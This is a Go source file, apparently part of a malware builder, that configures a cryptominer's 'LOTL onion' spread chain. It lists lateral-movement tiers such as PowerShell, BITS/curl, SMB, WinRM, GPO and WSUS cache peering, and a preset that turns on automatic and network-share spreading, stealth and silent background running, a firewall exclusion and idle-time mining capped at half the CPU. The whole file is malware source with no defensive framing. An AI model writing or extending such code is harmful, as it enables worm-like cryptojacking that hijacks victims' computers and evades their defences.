package builder import "strings" // DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync. var DefaultLotlOnionTiers = []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", } // NormalizeLotlOnionTiers filters tier ids for forge + server config. func NormalizeLotlOnionTiers(raw []string) []string { allowed := map[string]struct{}{ "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { t = strings.ToLower(strings.TrimSpace(t)) if t == "bits/curl" { t = "bits_curl" } if _, ok := allowed[t]; ok { out = append(out, t) } } if len(out) == 0 { dup := make([]string, len(DefaultLotlOnionTiers)) copy(dup, DefaultLotlOnionTiers) return dup } return out } // ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults. func ApplyLotlOnionPreset(req *BuildRequest) { req.LotlOnionEnabled = true req.GPUEnabled = false req.MinerExecution = "inprocess" req.ProcessHollowing = false req.SpreadKit = false req.FusionEnabled = false req.Obfuscate = false if !req.AutoSpread { req.AutoSpread = true } if !req.ShareSpread { req.ShareSpread = true } req.USBSpread = false req.RemoteAggressive = false if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 { req.LotlPolicyFromServer = true } req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers) if req.MiningMode == "" || req.MiningMode == "always" { req.MiningMode = "idle" } if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 { req.MaxCPUUsagePct = 50 } if req.ThreadPercent <= 0 || req.ThreadPercent > 50 { req.ThreadPercent = 50 } req.StealthMode = true if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } req.SilentMode = true req.FileLogging = true req.FirewallExclusion = true }